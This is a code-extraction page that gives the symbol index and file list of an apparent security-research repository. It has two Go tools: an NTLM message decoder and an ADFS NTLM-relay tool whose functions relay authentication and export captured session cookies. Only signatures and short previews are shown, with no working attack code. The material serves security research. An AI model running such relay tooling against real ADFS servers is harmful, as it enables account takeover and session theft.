function ADFSRelayStateHandler (line 38) | func ADFSRelayStateHandler(w http.ResponseWriter, r *http.Request) {
function SendNegotiateMessagetoADFS (line 173) | func SendNegotiateMessagetoADFS(clientRequestID string, MSISSamlRequest ...
function SendAuthenticateMessagetoADFS (line 216) | func SendAuthenticateMessagetoADFS(clientRequestID string, MSISSamlReque...
function GetMSISAMLRequestCookie (line 251) | func GetMSISAMLRequestCookie(clientRequestID string) (string, error) {
function main (line 285) | func main() {
FILE: cmd/NTLMParse/NTLMParse.go
function main (line 25) | func main() {
FILE: pkg/cookies/datatypes.go
type CookieEditorExportFormat (line 17) | type CookieEditorExportFormat struct
FILE: pkg/cookies/export.go
function ExportCookiesToCookieEditorFormat (line 19) | func ExportCookiesToCookieEditorFormat(cookies []*http.Cookie) []CookieE...
FILE: pkg/ntlm/datatypes.go
constant NTLM_MINIMUM_HEADER_SIZE (line 20) | NTLM_MINIMUM_HEADER_SIZE = 12
constant NTLM_MINIMUM_NEGOTIATE_SIZE (line 21) | NTLM_MINIMUM_NEGOTIATE_SIZE = 32
constant NTLM_MINIMUM_CHALLENGE_SIZE (line 22) | NTLM_MINIMUM_CHALLENGE_SIZE = 48
constant NTLM_MINIMUM_AUTHENTICATE_SIZE (line 23) | NTLM_MINIMUM_AUTHENTICATE_SIZE = 64
constant MESSAGE_TYPE_NEGOTIATE (line 26) | MESSAGE_TYPE_NEGOTIATE = 0x1
constant MESSAGE_TYPE_CHALLENGE (line 27) | MESSAGE_TYPE_CHALLENGE = 0x2
constant MESSAGE_TYPE_AUTHENTICATE (line 28) | MESSAGE_TYPE_AUTHENTICATE = 0x3
constant MsvAvEOL (line 31) | MsvAvEOL = 0x0000
constant MsvAvNbComputerName (line 32) | MsvAvNbComputerName = 0x0001
constant MsvAvNbDomainName (line 33) | MsvAvNbDomainName = 0x0002
constant MsvAvDnsComputerName (line 34) | MsvAvDnsComputerName = 0x0003
constant MsvAvDnsDomainName (line 35) | MsvAvDnsDomainName = 0x0004
constant MsvAvDnsTreeName (line 36) | MsvAvDnsTreeName = 0x0005
constant MsvAvFlags (line 37) | MsvAvFlags = 0x0006
constant MsvAvTimestamp (line 38) | MsvAvTimestamp = 0x0007
constant MsvAvSingleHost (line 39) | MsvAvSingleHost = 0x0008
constant MsvAvTargetName (line 40) | MsvAvTargetName = 0x0009
constant MsvChannelBindings (line 41) | MsvChannelBindings = 0x000A
constant AccountAuthenticationConstrained (line 44) | AccountAuthenticationConstrained = 0x00000001
constant MessageIntegrityCodeIncluded (line 45) | MessageIntegrityCodeIncluded = 0x00000002
constant ServicePrincipalNameIncluded (line 46) | ServicePrincipalNameIncluded = 0x00000004
type NEGOTIATE_MESSAGE (line 53) | type NEGOTIATE_MESSAGE struct
type CHALLENGE_MESSAGE (line 73) | type CHALLENGE_MESSAGE struct
type AUTHENTICATE_MESSAGE (line 96) | type AUTHENTICATE_MESSAGE struct
type NTLM_VERSION_INFO_DEBUG (line 142) | type NTLM_VERSION_INFO_DEBUG struct
type DECODED_NEGOTIATE_FLAGS (line 150) | type DECODED_NEGOTIATE_FLAGS struct
type DECODED_TARGET_INFO (line 185) | type DECODED_TARGET_INFO struct
type AV_PAIR (line 189) | type AV_PAIR struct
type NTLMv2_RESPONSE (line 195) | type NTLMv2_RESPONSE struct
type NTLMv2_CLIENT_CHALLENGE (line 200) | type NTLMv2_CLIENT_CHALLENGE struct
FILE: pkg/ntlm/debug.go
method Print (line 19) | func (*NEGOTIATE_MESSAGE) Print() {
method Print (line 23) | func (*CHALLENGE_MESSAGE) Print() {
method Print (line 27) | func (*AUTHENTICATE_MESSAGE) Print() {
FILE: pkg/ntlm/decoder.go
function decodeInt16LittleEndian (line 17) | func decodeInt16LittleEndian(rawBytes []byte) uint16 {
function decodeInt32LittleEndian (line 21) | func decodeInt32LittleEndian(rawBytes []byte) uint32 {
FILE: pkg/ntlm/ntlm.go
function DecodeMessage (line 22) | func DecodeMessage(rawBytes []byte) (interface{}, error) {
function DecodeNegotiateMessage (line 45) | func DecodeNegotiateMessage(rawBytes []byte) (*NEGOTIATE_MESSAGE, error) {
function DecodeChallengeMessage (line 94) | func DecodeChallengeMessage(rawBytes []byte) (*CHALLENGE_MESSAGE, error) {
function DecodeAuthenticateMessage (line 149) | func DecodeAuthenticateMessage(rawBytes []byte) (*AUTHENTICATE_MESSAGE, ...
function DecodeNegotiateFlags (line 267) | func DecodeNegotiateFlags(NegotiateFlags uint32) DECODED_NEGOTIATE_FLAGS {
function DecodeAvPairs (line 306) | func DecodeAvPairs(rawBytes []byte) ([]AV_PAIR, error) {
function DecodeNTLMv2ClientChallenge (line 336) | func DecodeNTLMv2ClientChallenge(rawBytes []byte) (NTLMv2_CLIENT_CHALLEN...
FILE: pkg/ntlm/ntlm_test.go
function TestDecodeNegotiateMessageSampleA (line 303) | func TestDecodeNegotiateMessageSampleA(t *testing.T) {
function TestDecodeChallengeMessageSampleA (line 314) | func TestDecodeChallengeMessageSampleA(t *testing.T) {
function TestDecodeAuthenticateMessageSampleA (line 325) | func TestDecodeAuthenticateMessageSampleA(t *testing.T) {
function TestDecodeNegotiateMessageSampleB (line 336) | func TestDecodeNegotiateMessageSampleB(t *testing.T) {
function TestDecodeChallengeMessageSampleB (line 347) | func TestDecodeChallengeMessageSampleB(t *testing.T) {
function TestDecodeAuthenticateMessageSampleB (line 358) | func TestDecodeAuthenticateMessageSampleB(t *testing.T) {
function TestDecodeNegotiateMessageSampleC (line 369) | func TestDecodeNegotiateMessageSampleC(t *testing.T) {
function TestDecodeChallengeMessageSampleC (line 380) | func TestDecodeChallengeMessageSampleC(t *testing.T) {
function TestDecodeAuthenticateMessageSampleC (line 391) | func TestDecodeAuthenticateMessageSampleC(t *testing.T) {
function TestDecodeNegotiateMessageSampleD (line 402) | func TestDecodeNegotiateMessageSampleD(t *testing.T) {
function TestDecodeChallengeMessageSampleD (line 413) | func TestDecodeChallengeMessageSampleD(t *testing.T) {
function TestDecodeAuthenticateMessageSampleD (line 424) | func TestDecodeAuthenticateMessageSampleD(t *testing.T) {
function TestFullDecodeSampleA (line 435) | func TestFullDecodeSampleA(t *testing.T) {
function TestFullDecodeSampleB (line 476) | func TestFullDecodeSampleB(t *testing.T) {
function TestFullDecodeSampleC (line 517) | func TestFullDecodeSampleC(t *testing.T) {
function TestFullDecodeSampleD (line 558) | func TestFullDecodeSampleD(t *testing.T) {
Condensed preview — 15 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (92K chars).
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{
"path": ".github/workflows/release.yml",
"chars": 1319,
"preview": "# Copyright 2022 Praetorian Security, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may"
},
{
"path": ".gitignore",
"chars": 13,
"preview": "**/.DS_Store\n"
},
{
"path": "LICENSE",
"chars": 11357,
"preview": " Apache License\n Version 2.0, January 2004\n "
},
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"path": "README.md",
"chars": 4019,
"preview": "# Overview \n\nThis repository includes two utilities NTLMParse and ADFSRelay. NTLMParse is a utility for decoding base64-"
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]
About this extraction
This page contains the full source code of the praetorian-inc/ADFSRelay GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 15 files (84.6 KB), approximately 34.7k tokens, and a symbol index with 66 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.